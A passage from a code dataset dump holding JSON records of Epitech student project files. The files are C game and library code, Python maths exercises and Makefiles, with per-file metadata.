}\n}\n\nint check_path(char *arg, ls_t *ls)\n{\n if (arg[0] != '-') {\n ls->dir = 1;\n ls->checkend++;\n return 1;\n }\n else {\n checkdescription(arg, ls);\n return 0;\n }\n}\n\nchar *checkarg(char *argv, ls_t *ls)\n{\n int checker = check_path(argv, ls);\n\n if (checker == 1) {\n ls->arg = malloc(sizeof(char) * my_strlen(argv + 2));\n ls->arg = argv;\n ls->arg[my_strlen(argv)] = 0;\n }\n return \".\";\n}" }, { "alpha_fraction": 0.442748099565506, "alphanum_fraction": 0.49236640334129333, "avg_line_length": 16.488889694213867, "blob_id": "5991ba0bcdcfdf7d0809cb23872436097a42e1b6", "content_id": "b50b02c04b3ec5984ce8fa3f8422a01e1b60a02a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 786, "license_type": "no_license", "max_line_length": 56, "num_lines": 45, "path": "/tek1/Mathématique/108trigo_2019/trigo_calcul.py", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n##\n## EPITECH PROJECT, 2019\n## 108trigo_201\n## File description:\n## maths.py\n##\n\nimport sys\nimport math\n\ndef growth_rate():\n try:\n x = float(sys.argv[1])\n k = float(sys.argv[2])\n x1 = x\n i = 1\n except ValueError:\n print (\"Please check your arguments, or see -h\")\n sys.exit(84)\n\n if (k > 4) or (k < 1):\n print (\"Error: k must be between 1 and 4\")\n print (\"Please see -h\")\n sys.exit(84)\n while i <= 100:\n print(i, \" \", format(x1, \".2f\"), sep=\"\")\n x1 = k * x * ((1000 - x )/ 1000)\n x = x1\n i = i + 1\n\ndef my_exp():\n print(\"exp\")\n\ndef my_cos():\n print(\"cos\")\n\ndef my_sin():\n print(\"sin\")\n\ndef my_cosh():\n print(\"cosh\")\n\ndef my_sinh():\n print(\"sinh\")" }, { "alpha_fraction": 0.5418994426727295, "alphanum_fraction": 0.5921787619590759, "avg_line_length": 12.84615421295166, "blob_id": "02bb2be80fef3278540df437b21b618dd237d35c", "content_id": "52553f7c30418714362092b5182897c0aa0333a4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 179, "license_type": "no_license", "max_line_length": 44, "num_lines": 13, "path": "/tek1/Functionnal/CPE_lemin_2019/lib/tools/random.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** PSU_tetris_2019\n** File description:\n** random\n*/\n\n#include <stdlib.h>\n\nint irand(int min, int max)\n{\n return (rand() % (max - min + 1)) + min;\n}" }, { "alpha_fraction": 0.4961715042591095, "alphanum_fraction": 0.5313935875892639, "avg_line_length": 21.55172348022461, "blob_id": "64b37de454347665055376c7804d8760342473a5", "content_id": "a4f416d57fe680f27e38a918c4d6989c0ea8b2da", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 653, "license_type": "no_license", "max_line_length": 49, "num_lines": 29, "path": "/tek1/Mathématique/109titration_2019/result.py", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "##\n## EPITECH PROJECT, 2019\n## 109titration_2019\n## File description:\n## result.py\n##\n\ndef ispositive(num):\n if num > 0:\n return True\n elif num == 0:\n return 0\n else:\n return False\n\ndef writingresult(result, min, maxi):\n value = 1.0\n secvalue = 1.0\n posnbr = 0\n for i in range(0, len(result)):\n if ispositive(result[i]) == False:\n posnbr = float(result[i]*(-1))\n else:\n posnbr = float(result[i])\n if (value - posnbr) > (value - secvalue):\n secvalue = float(posnbr)\n p = i\n value = min + (p*0.1)\n print(\"\\nEquivalence point at\", value, \"ml\")" }, { "alpha_fraction": 0.5452830195426941, "alphanum_fraction": 0.5547170042991638, "avg_line_length": 27.20212745666504, "blob_id": "395a20310de8ce7defb9bb1e179b5015341a460f", "content_id": "99f2eeaf73366355292fa873d77db0ce694fa8aa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2650, "license_type": "no_license", "max_line_length": 80, "num_lines": 94, "path": "/tek1/Game/MUL_my_rpg_2019/lib/game/layer.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** Epitech\n** File description:\n** layer\n*/\n\n#include \"game.h\"\n#include <stdlib.h>\n\nlinked_list_t *fill_tiles(linked_list_t *map, tileset_t *t)\n{\n linked_list_t *tiles = 0;\n linked_list_t *row;\n\n for (linked_list_t *y = map; y; y = y->next) {\n row = 0;\n for (linked_list_t *x = y->data; x; x = x->next)\n row = ll_append(row, ll_get(t->tiles, *(int *) x->data));\n tiles = ll_append(tiles, row);\n }\n return tiles;\n}\n\nlayer_t *parse_map(linked_list_t *map, tileset_t *t)\n{\n layer_t *layer = malloc(sizeof(layer_t));\n int height = ll_len(map);\n int width = height > 0 ? ll_len(map->data) : 0;\n\n layer->scroll_speed = v2f(1, 1);\n layer->sprite = sfSprite_create();\n layer->texture = sfTexture_create(width * t->tile_size.x,\n height * t->tile_size.y);\n sfSprite_setTexture(layer->sprite, layer->texture, sfTrue);\n layer->tiles = ll_append(0, 0);\n layer->tiles = fill_tiles(map, t);\n return layer;\n}\n\nvoid render_layer(sfRenderWindow *win, layer_t *layer)\n{\n linked_list_t *i = layer->tiles;\n linked_list_t *j = i->data;\n tile_t *tile;\n vector2i_t pos = {0, 0};\n\n while (i) {\n tile = j ? j->data : 0;\n if (tile != 0)\n sfTexture_updateFromImage(layer->texture, tile->image, (pos.x - 1) *\n tile->tileset->tile_size.x, pos.y * tile->tileset->tile_size.y);\n j = j ? j->next : 0;\n pos.x++;\n if (!j) {\n i = i->next;\n pos.y++;\n j = i ? i->data : 0;\n pos.x = 0;\n }\n }\n sfRenderWindow_drawSprite(win, layer->sprite, NULL);\n}\n\nvoid render_layers(sfRenderWindow *win, linked_list_t *layers)\n{\n linked_list_t *i = layers;\n\n while (i) {\n render_layer(win, i->data);\n i = i->next;\n }\n}\n\nlinked_list_t *check_layer_collision(entity_t *e, layer_t *layer)\n{\n linked_list_t *collisions = 0;\n tile_t *tile = ((linked_list_t *) layer->tiles->data)->data;\n sfVector2f entity_pos = sfSprite_getPosition(e->sprite);\n sfVector2f pos = sfSprite_getPosition(layer->sprite);\n tileset_t *tileset = tile->tileset;\n\n pos.x -= tileset->tile_size.x;\n for (linked_list_t *i = layer->tiles; i; i = i->next) {\n for (linked_list_t *j = i->data; j; j = j->next) {\n collisions = ll_concat(collisions, check_collision(entity_pos,\n e->hitbox, pos, ((tile_t *)j->data)->hitbox));\n pos.x += tileset->tile_size.x;\n }\n pos.x = sfSprite_getPosition(layer->sprite).x - tileset->tile_size.x;\n pos.y += tileset->tile_size.y;\n }\n return collisions;\n}" }, { "alpha_fraction": 0.480101615190506, "alphanum_fraction": 0.513971209526062, "avg_line_length": 22.639999389648438, "blob_id": "60089eefa9355be70609d9ce99597e541a9ab157", "content_id": "fa146613708f5d210ba0debfb6b457fa47198752", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1181, "license_type": "no_license", "max_line_length": 66, "num_lines": 50, "path": "/tek1/Functionnal/CPE_lemin_2019/lib/linked/dict/dict_swap.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** Epitech\n** File description:\n** dict_swap\n*/\n\n#include \"tools.h\"\n#include \"linked.h\"\n\ndictionary_t *d_swap(dictionary_t *list, dictionary_t *prev1,\n dictionary_t *prev2)\n{\n dictionary_t *temp;\n dictionary_t *temp2;\n\n if (prev1) {\n temp = prev2->next;\n prev2->next = prev1->next;\n temp2 = ((dictionary_t *)(prev1->next))->next;\n ((dictionary_t *)(prev1->next))->next = temp->next;\n prev1->next = temp;\n temp->next = temp2;\n } else {\n temp = prev2->next;\n prev2->next = list;\n temp2 = list->next;\n list->next = temp->next;\n temp->next = temp2;\n return temp;\n }\n return list;\n}\n\ndictionary_t *dict_swap(dictionary_t *list, int i1, int i2)\n{\n dictionary_t *prev = 0;\n int i = 0;\n\n if (!list || !list->next || i1 < 0 || i2 < 0 || i1 == i2 ||\n i1 >= dict_len(list) || i2 >= dict_len(list)) return list;\n if (i1 > i2) my_swap(&i1, &i2);\n for (dictionary_t *it = list; it; it = it->next) {\n if (i == i1 - 1) prev = it;\n if (i == i2 - 1)\n return d_swap(list, prev, it);\n i++;\n }\n return list;\n}" }, { "alpha_fraction": 0.581017792224884, "alphanum_fraction": 0.6097408533096313, "avg_line_length": 35.82758712768555, "blob_id": "f5a480f970a447d2c74ee4dd8a3eec26b597d068", "content_id": "d8a1a09333a4a4af3838c5815f6616ee99cd6c14", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 3203, "license_type": "no_license", "max_line_length": 80, "num_lines": 87, "path": "/tek1/Game/MUL_my_rpg_2019/src/dialogue/render.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** MUL_my_rpg_2019\n** File description:\n** render.c\n*/\n\n#include \"rpg.h\"\n\nvoid create_textbox(sfText **text, sfText **title, sfSprite **box,\n dictionary_t **gamedata)\n{\n sfFont *font_title = load_font(\"title_font\",\n \"./assets/fonts/Ubuntu-C.ttf\", gamedata);\n sfFont *font_text = load_font(\"textbox_font\",\n \"./assets/fonts/Ubuntu-R.ttf\", gamedata);\n sfTexture *tex;\n\n create_text(font_text, \"cursor\", sv2f(110, 610), gamedata);\n *text = create_text(font_text, \"textbox_text\", sv2f(82, 420), gamedata);\n *title = create_text(font_title, \"textbox_title\", sv2f(75, 365), gamedata);\n *box = sfSprite_create();\n tex = sfTexture_createFromFile(\"./assets/images/sprites/textbox.png\",\n NULL);\n sfSprite_setTexture(*box, tex, sfTrue);\n sfSprite_setScale(*box, sv2f(0.6, 0.60));\n sfSprite_setPosition(*box, sv2f(60, 350));\n *gamedata = dict_add(*gamedata, \"textbox\", *box);\n *gamedata = dict_add(*gamedata, \"textbox_texture\", tex);\n}\n\nvoid create_choices_text(sfFont *font, dictionary_t **gamedata)\n{\n create_text(font, \"choice1\", sv2f(175, 540), gamedata);\n create_text(font, \"choice2\", sv2f(350, 540), gamedata);\n create_text(font, \"choice3\", sv2f(525, 540), gamedata);\n create_text(font, \"choice4\", sv2f(700, 540), gamedata);\n}\n\nvoid render_choices(sfRenderWindow *win, dialogue_line_t *line, sfFont *font,\n dictionary_t **gamedata)\n{\n dialogue_choice_t *choice;\n sfText *text = dict_get(*gamedata, \"choice1\");\n char *name = my_strdup(\"choice1\");\n\n if (!line->choices) return;\n if (!text) create_choices_text(font, gamedata);\n else {\n sfText_setString(dict_get(*gamedata, \"choice1\"), \"\");\n sfText_setString(dict_get(*gamedata, \"choice2\"), \"\");\n sfText_setString(dict_get(*gamedata, \"choice3\"), \"\");\n sfText_setString(dict_get(*gamedata, \"choice4\"), \"\");\n }\n for (linked_list_t *i = line->choices; i; i = i->next) {\n choice = i->data;\n text = dict_get(*gamedata, name);\n sfText_setString(text, choice->text);\n sfRenderWindow_drawText(win, text, NULL);\n name[6] += name[6] < '5' ? 1 : 0;\n }\n}\n\nvoid render_dialogue(sfRenderWindow *win, dialogue_t *dial,\n dictionary_t **G, int c)\n{\n sfText *text = dict_get(*G, \"textbox_text\");\n sfText *title = dict_get(*G, \"textbox_title\");\n sfSprite *box = dict_get(*G, \"textbox\");\n dialogue_line_t *line = dial ? ll_get(dial->progress->part->lines,\n dial->progress->line) : 0;\n\n if (!title || !text) create_textbox(&text, &title, &box, G);\n if (dial) {\n sfText_setString(text, line ? line->text : \"\");\n sfText_setString(title, line ? line->name : \"\");\n sfRenderWindow_drawSprite(win, box, NULL);\n sfRenderWindow_drawText(win, text, NULL);\n sfRenderWindow_drawText(win, title, NULL);\n if (line && line->choices) {\n sfText_setString(dict_get(*G, \"cursor\"), \">\");\n sfText_setPosition(dict_get(*G, \"cursor\"), sv2f(175 * c - 15, 540));\n sfRenderWindow_drawText(win, dict_get(*G, \"cursor\"), NULL);\n }\n render_choices(win, line, dict_get(*G, \"textbox_font\"), G);\n }\n}" }, { "alpha_fraction": 0.604651153087616, "alphanum_fraction": 0.6118068099021912, "avg_line_length": 13.333333015441895, "blob_id": "1c8117857e3e7526fa493ee3519d74f162fbe9ed", "content_id": "b0e0c95490a9dbd2d740a2585d5407d8b1541c14", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 559, "license_type": "no_license", "max_line_length": 47, "num_lines": 39, "path": "/tek1/Functionnal/CPE_pushswap_2019/Makefile", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "##\n## EPITECH PROJECT, 2019\n## pushswap\n## File description:\n## Makefile\n##\n\nSRC\t=\tlib/main.c \\\n\t\tlib/my_engine.c \\\n\t\tlib/my_get.c \\\n\t\tlib/my_put.c \\\n\t\tlib/my_sorter_basics.c \\\n\t\tlib/my_sorter_move.c \\\n\t\tlib/my_sorter_rotation.c \\\n\t\tlib/my_sorter.c \\\n\t\tlib/my_string.c\t\\\n\t\tlib/my_put_nbr.c\t\\\n\t\tlib/my_putstr.c\t\\\n\t\tlib/my_putchar.c\n\nCFLAGS\t=\t-Wall -Wextra\n\nINCLUDE =\t-I include -o\n\nLIB\t=\t-g -lm\n\nNAME\t=\tpush_swap\n\nall:\t$(NAME)\n\n$(NAME):\n\tgcc $(SRC) $(CFLAGS) $(INCLUDE) $(NAME) $(LIB)\n\nfclean:\tclean\n\trm -f $(NAME)\n\nre:\tfclean all\n\n.PHONY:\tall clean fclean re\n" }, { "alpha_fraction": 0.5385826826095581, "alphanum_fraction": 0.5700787305831909, "avg_line_length": 24.93877601623535, "blob_id": "01c1f9a6feb38c56fa3fd3996734920103d1ddd6", "content_id": "c1ad04c1b342443108dbfe159b5a4a5931dee6e6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1274, "license_type": "no_license", "max_line_length": 79, "num_lines": 49, "path": "/tek1/Mathématique/109titration_2019/109titration", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n##\n## EPITECH PROJECT, 2019\n## 109titration_2019\n## File description:\n## 109titration\n##\n\nfrom os import path\nfrom arguments import *\nfrom utils import *\nimport sys\nimport csv\n\ndef open_file():\n a = []\n try:\n with open(sys.argv[1], 'r') as file:\n reader = csv.reader(file)\n for row in reader:\n a.append(', '.join(row))\n file.close()\n return a\n except FileNotFoundError:\n print('File does not exist')\n sys.exit(84)\n\ndef main():\n if \"-h\" in sys.argv or \"--help\" in sys.argv:\n print(\"USAGE\\n ./109titration file\\n\\nDESCRIPTION\")\n print(\" file a csv file containing “vol;ph” lines\")\n sys.exit(0)\n if len(sys.argv) == 1 or len(sys.argv) > 2:\n exit(84)\n list = open_file()\n if errorhandling(list) == 84 or len(list) == 0:\n print(\"error not enought/too many arguments please check yout value !\")\n exit(84)\n ph = preparelist(list)\n print(\"Derivative:\")\n ph2 = calculate(list, ph, len(list) - 1)\n print(\"\\nSecond derivative:\")\n ph2.pop(0)\n list.pop(0)\n ph = calculate(list, ph2, len(list) -2)\n calculateestimate(list, ph, ph2, len(list) - 2)\n\nif __name__ == '__main__':\n main()" }, { "alpha_fraction": 0.5508637428283691, "alphanum_fraction": 0.5623800158500671, "avg_line_length": 10.32608699798584, "blob_id": "129b320030b5b6b887a005feb4b44db287acd475", "content_id": "aa6ac970ea163f59c31a9a9dcf540e2cbec02352", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 521, "license_type": "no_license", "max_line_length": 30, "num_lines": 46, "path": "/tek1/Functionnal/CPE_BSQ_2019/lib/my/struct.h", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** struct\n** File description:\n** \n*/\n\n#ifndef PRINT_H_\n#define PRINT_H_\n\ntypedef struct\ts_bsq\n{\n int\ti;\n int\tcount;\n int\ttmp;\n int\ttmpwidth;\n int\ttmplenght;\n int\tlen;\n int wid;\n int\tx;\n int y;\n}\t\tt_bsq;\n\nstruct printf_a\n{\n char *flag;\n void (*fct) (void*);\n};\n\ntypedef struct printf_a print;\n\n#endif /* PRINT_H_ */\n\n#ifndef STACK_SIZE_H_\n#define STACK_SIZE_H_\n\nstruct stack_size\n{\n int x;\n int y;\n int x2;\n int y2;\n};\n\n\n#endif /* STACK_SIZE_H_ */\n" }, { "alpha_fraction": 0.6281904578208923, "alphanum_fraction": 0.6350476145744324, "avg_line_length": 26.93617057800293, "blob_id": "9b35bf35a90a4f475a4c90bb6edaf0fabdcf9860", "content_id": "9d503fd35927a14cb504991170bc81fbf6463372", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2625, "license_type": "no_license", "max_line_length": 79, "num_lines": 94, "path": "/tek1/Game/MUL_my_defender_2019/lib/game/entity.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** Epitech\n** File description:\n** entity\n*/\n\n#include \"game.h\"\n#include \"tools.h\"\n#include \"json.h\"\n#include <stdlib.h>\n\nlinked_list_t *check_entity_coll(entity_t *e1, entity_t *e2)\n{\n return check_collision(sfSprite_getPosition(e1->sprite), e1->hitbox,\n sfSprite_getPosition(e2->sprite), e2->hitbox);\n}\n\nentity_t *import_entity(char *filename)\n{\n char *file_path = my_strconcat(\"./assets/entities/\", filename);\n json_object_t *obj = my_free_assign(file_path, read_json(file_path));\n sfTexture *texture = 0;\n sfSprite *sprite;\n dictionary_t *anim = 0;\n entity_t *e;\n\n file_path = my_strconcat(\"./assets/images/sprites/\",\n dict_get((dictionary_t *)obj->data, \"sprite\"));\n sprite = create_sprite_from_file(file_path, &texture, NULL);\n for (dictionary_t *i = dict_get((dictionary_t *)obj->data, \"animations\");\n i; i = i->next)\n anim = imp_add_anim(anim, sprite, import_animation(i->data), i->index);\n e = create_entity(sprite, texture, anim);\n start_animation(e,\n dict_get((dictionary_t *)obj->data, \"default_animation\"), 0);\n parse_hitbox(e, dict_get(obj->data, \"hitboxes\"));\n json_destroy(obj);\n free(file_path);\n return e;\n}\n\nentity_t *create_entity(sfSprite *sprite, sfTexture *texture,\n dictionary_t *animations)\n{\n entity_t *entity = malloc(sizeof(entity_t));\n\n entity->sprite = sprite;\n entity->animations = animations;\n entity->extra_data = 0;\n entity->texture = texture;\n entity->show = 1;\n entity->hitbox = 0;\n entity->persistant = 0;\n return entity;\n}\n\ndictionary_t *destroy_entities(dictionary_t *entities, int destroy_persistant)\n{\n entity_t *e;\n dictionary_t *next;\n\n if (!entities) return 0;\n e = entities->data;\n if (entities->next)\n entities->next = destroy_entities(entities->next, destroy_persistant);\n if (e->persistant && !destroy_persistant) return entities;\n next = entities->next;\n dict_destroy_content(e->animations);\n dict_destroy(e->animations);\n sfTexture_destroy(e->texture);\n sfSprite_destroy(e->sprite);\n dict_destroy_content(e->extra_data);\n dict_destroy(e->extra_data);\n free(e);\n free(entities);\n return next;\n}\n\nvoid display_entities(dictionary_t *entities, sfRenderWindow *window,\n int time)\n{\n dictionary_t *iterator = entities;\n entity_t *e;\n\n while (iterator) {\n e = iterator->data;\n if (e->show) {\n cycle_animations(e->animations, time);\n sfRenderWindow_drawSprite(window, e->sprite, NULL);\n }\n iterator = iterator->next;\n }\n}" }, { "alpha_fraction": 0.510597288608551, "alphanum_fraction": 0.5183044075965881, "avg_line_length": 13.027027130126953, "blob_id": "938d3fa9dc9b5fa78dac6edfdb305a878525e954", "content_id": "030c356183e8984292b767c9e5a92e7f6fda085d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 519, "license_type": "no_license", "max_line_length": 44, "num_lines": 37, "path": "/tek1/Game/MUL_my_hunter_20192/src/lib/my/Makefile", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "##\n## EPITECH PROJECT, 2019\n## Makefile\n## File description:\n## Make automatic gcc command\n##\n\nSRC \t\t=\tmy_getnbr.c\t\\\n\t\t\t \tmy_putchar.c\t\t\\\n\t\t\t \tmy_put_nbr.c\t\\\n\t\t\t \tmy_putstr.c\t\\\n\t\t\t \tmy_strcpy.c\t\\\n\t\t\t \tmy_putfloat.c\t\\\n\t\t\t \tmy_putdouble.c\t\\\n\nFCT\t\t= \tmy.h\t\\\n\t\t\tstruct.h\t\\\n\t\t\tplayer.h\t\\\n\nOBJ \t\t=\t$(SRC:.c=.o)\n\nNAME\t\t=\tlibmy.a\n\nall: \t$(NAME)\n\n$(NAME):\t$(OBJ)\n\t\tar rc $(NAME) $(OBJ)\n\t\tcp $(FCT) ../../include\n\t\tcp $(NAME) ../\n\nclean:\n\t\trm -f $(OBJ)\n\nfclean: clean\n\t\trm -f $(NAME) ../../include/*.h ../$(NAME)\n\nre: fclean all\n" }, { "alpha_fraction": 0.4924924969673157, "alphanum_fraction": 0.5345345139503479, "avg_line_length": 16.526315689086914, "blob_id": "120f5a68d05778a72a068ee629e93b96c5fbffa4", "content_id": "f0b4da9aeabe0c16bd6e5b307671ba0ae09963e2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 333, "license_type": "no_license", "max_line_length": 54, "num_lines": 19, "path": "/tek1/Piscine/CPool_Day05_2019/my_compute_factorial_rec.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** my_compute_factorial_rec\n** File description:\n** task02\n*/\n\nint my_compute_factorial_rec(int nb)\n{\n int count;\n\n if (nb < 0) || (nb > 12) \n return 0;\n else if (nb == 1) || (nb == 0)\n return (1);\n else\n count = my_compute_factorial_rec(nb - 1) * nb;\n return count;\n}\n" }, { "alpha_fraction": 0.35274869203567505, "alphanum_fraction": 0.3835078477859497, "avg_line_length": 19.105262756347656, "blob_id": "cc329a41788785473e96b4ca4536f0429364ba96", "content_id": "c98c31a6f03d6c5250741e7204c59c796440a6c6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1528, "license_type": "no_license", "max_line_length": 69, "num_lines": 76, "path": "/tek1/QuickTest/CPE_duostumper_2_2019/src/main.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "#include \"my.h\"\n\nint detect_flag(char **av, int ac)\n{\n int d = 0;\n \n for (int i = 3; i < ac && i <= 5; i+= 2) {\n if (av[i][0] == '-' && av[i][1] == 's') {\n d+= 2;\n break;\n }\n }\n for\t(int i = 3; i < ac && i <= 5; i+= 2) {\n\tif (av[i][0] == '-' && av[i][1] == 'w') {\n d+=\t1;\n break;\n }\n }\n return d;\n}\n\nint my_strlen(char *s)\n{\n int i = 0;\n\n for (; s[i]; i++);\n return i;\n}\n\nvoid my_puterror(char *s)\n{\n write(2, s, my_strlen(s));\n}\n\nint init_game(char **av, int flag)\n{\n int size = 4;\n\n if (flag == 2) {\n size = atoi(av[4]);\n launchbasic(av, size);\n printf(\"%d\\n\", size);\n }\n else if (flag == 1)\n findword(av[4], size, av);\n else if (flag == 3) {\n if (av[3][0] == '-' && av[3][1] == 's') {\n size = atoi(av[4]);\n findword(av[6], size, av);\n }\n if (av[5][0] == '-' && av[5][1] == 's') {\n size = atoi(av[6]);\n findword(av[4], size, av);\n }\n }\n}\n\nint main(int ac, char **av)\n{\n int flag = 0;\n\n if (ac < 3 || ac > 7) {\n my_puterror(\"Usage: ./boggle -g GRID [-s SIZE] [-w WORD]\\n\");\n return 84;\n }\n if (ac == 3 && av[1][0] == '-' && av[1][1] == 'g')\n launchbasic(av, 4);\n else if (ac > 3)\n flag = detect_flag(av, ac);\n else {\n my_puterror(\"Usage: ./boggle -g GRID [-s SIZE] [-w WORD]\\n\");\n return 84;\n }\n init_game(av, flag);\n printf(\"%d\\n\", flag);\n}\n" }, { "alpha_fraction": 0.3433583974838257, "alphanum_fraction": 0.4072681665420532, "avg_line_length": 16.733333587646484, "blob_id": "3c951b5f1e2373991c7ae42c0b20939a39b16af2", "content_id": "7be6a76c4b640517aaf54a49321569d5edb21b97", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 798, "license_type": "no_license", "max_line_length": 41, "num_lines": 45, "path": "/tek1/Piscine/CPool_Day03_2019/my_print_comb2.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** my_print_comb2\n** File description:\n** \n*/\n\nint graph(int num)\n{\n if (num == 9899)\n my_putchar('\\n');\n else {\n my_putchar(',');\n my_putchar(' ');\n }\n}\nint check_a(int num)\n{\n int a = num % 100;\n int b = num / 100;\n\n if (a <= b)\n return -1;\n return(num);\n}\nint my_print_comb2(void)\n{\n int num;\n \n for (int i = 0; i < 10000; i++) {\n num = check_a(i);\n if (num > -1) {\n my_putchar((num / 1000) +48);\n num = num % 1000;\n my_putchar((num / 100) +48);\n num = num % 100;\n my_putchar(' ');\n my_putchar((num / 10) +48);\n num = num % 10;\n my_putchar((num) +48);\n graph(i);\n }\n }\n return(0);\n}\n" }, { "alpha_fraction": 0.6528925895690918, "alphanum_fraction": 0.6694214940071106, "avg_line_length": 18.399999618530273, "blob_id": "4f81c296d04296060680eb105b60e5ec0c9a047d", "content_id": "ca5882a98bc0d3fe7b99b69f7a247c0403710150", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 484, "license_type": "no_license", "max_line_length": 59, "num_lines": 25, "path": "/tek1/Advanced/PSU_my_sokoban_2019/lib/my/pos.h", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** PSU_my_sokoban_2019\n** File description:\n** stacking position\n*/\n\n#include \"my.h\"\n\n#ifndef _PLAYER_POS_T_\n#define _PLAYER_POS_T_\n\ntypedef struct player_pos_s\n{\n int x;\n int y;\n int max;\n int p;\n} player_pos_t;\n\nvoid check_Ykey(char *path,player_pos_t *player, int key);\nvoid start(player_pos_t *player, char *path);\nvoid write_pos(player_pos_t *player, int key, char *path);\nvoid check_case(player_pos_t *player, int key, char *path);\n#endif" }, { "alpha_fraction": 0.5030339956283569, "alphanum_fraction": 0.5515776872634888, "avg_line_length": 19.09756088256836, "blob_id": "32320d2ba5110db0018446665016c8068d64d8e2", "content_id": "bdcb50f1253c5f33f8ed91afb5685ac3ba8be6a1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 1648, "license_type": "no_license", "max_line_length": 66, "num_lines": 82, "path": "/tek1/Game/MUL_my_defender_2019/lib/tools/Makefile", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "##\n## EPITECH PROJECT, 2019\n## Makefile\n## File description:\n## Make automatic gcc command\n##\n\nSRC \t\t=\t my_compute_power_rec.c\t\\\n\t\t\t my_compute_square_root.c\t\\\n\t\t\t my_find_prime_sup.c\t\\\n\t\t\t my_getnbr.c\t\\\n\t\t\t my_isneg.c\t\\\n\t\t\t my_is_prime.c\t\\\n\t\t\t my_putchar.c\t\t\\\n\t\t\t my_put_nbr.c\t\\\n\t\t\t my_putstr.c\t\\\n\t\t\t my_revstr.c\t\\\n\t\t\t my_show_word_array.c\t\\\n\t\t\t my_strcat.c\t\\\n\t\t\t my_strcmp.c\t\\\n\t\t\t my_strcpy.c\t\\\n\t\t\t my_strdup.c\t\\\n\t\t\t my_strlen.c\t\\\n\t\t\t my_strlowcase.c\t\\\n\t\t\t my_strncat.c\t\\\n\t\t\t my_strncpy.c\t\\\n\t\t\t my_strstr.c\t\\\n\t\t\t my_str_to_word_array.c\t\\\n\t\t\t my_strupcase.c\t\\\n\t\t\t my_swap.c\t\\\n\t\t\t my_arrlen.c\t\\\n\t\t\t my_putfloat.c\t\\\n\t\t\t my_putdouble.c\t\\\n\t\t\t my_xor.c\t\\\n\t\t\t my_max.c\t\\\n\t\t\t my_strslice.c\t\\\n\t\t\t my_strsplit.c\t\\\n\t\t\t my_strconcat.c\t\\\n\t\t\t my_int_to_str.c\t\\\n\t\t\t pointer_display.c\t\\\n\t\t\t my_printf.c\t\\\n\t\t\t vectors.c\t\\\n\t\t\t my_str_startswith.c\t\\\n\t\t\t my_read_file.c\t\\\n\t\t\t my_strtrimwhitesp.c\t\\\n\t\t\t my_free_assign.c\t\\\n\t\t\t my_char_to_str.c\t\\\n\t\t\t stripslashes.c\t\\\n\t\t\t addslashes.c\t\\\n\t\t\t my_strncmp.c\t\\\n\t\t\t my_str_isnum.c\t\\\n\t\t\t my_str_endswith.c\t\\\n\t\t\t random.c\t\\\n\t\t\t print_return.c\t\\\n\nCFLAGS\t\t+=\t-W -Wall -Wextra -pedantic\nCFLAGS\t\t+=\t-I../../include\n\nOBJ \t\t=\t$(SRC:.c=.o)\n\nNAME\t\t=\tlibtools.a\n\n$(OBJDIR)%.o:\t%.c\n\t\t@$(CC) $(CFLAGS) -o $@ -c $<\n\t\t@if test -s $*.c; then \\\n\t\techo -e \"\\033[00m\\033[36m [LIBTOOLS]\\033[01m\\033[35m Compiling \\\n\t\t\\033[00m\\033[36m$(SRCPATH)$*.c\\033[032m [OK]\\033[00m\";\\\n\t\telse \\\n\t\techo -e \"\\033[00m\\033[36m [LIBTOOLS]\\033[01m\\033[35m Compiling \\\n\t\t\\033[00m\\033[36m$(SRCPATH)$*.c\\033[00m\\ [Error]\"; fi\n\nall: \t$(NAME)\n\n$(NAME):\t$(OBJ)\n\t\t@ar rc $(NAME) $(OBJ)\n\t\t@cp $(NAME) ../\n\nclean:\n\t@rm -f $(OBJ)\n\nfclean: clean\n\t@rm 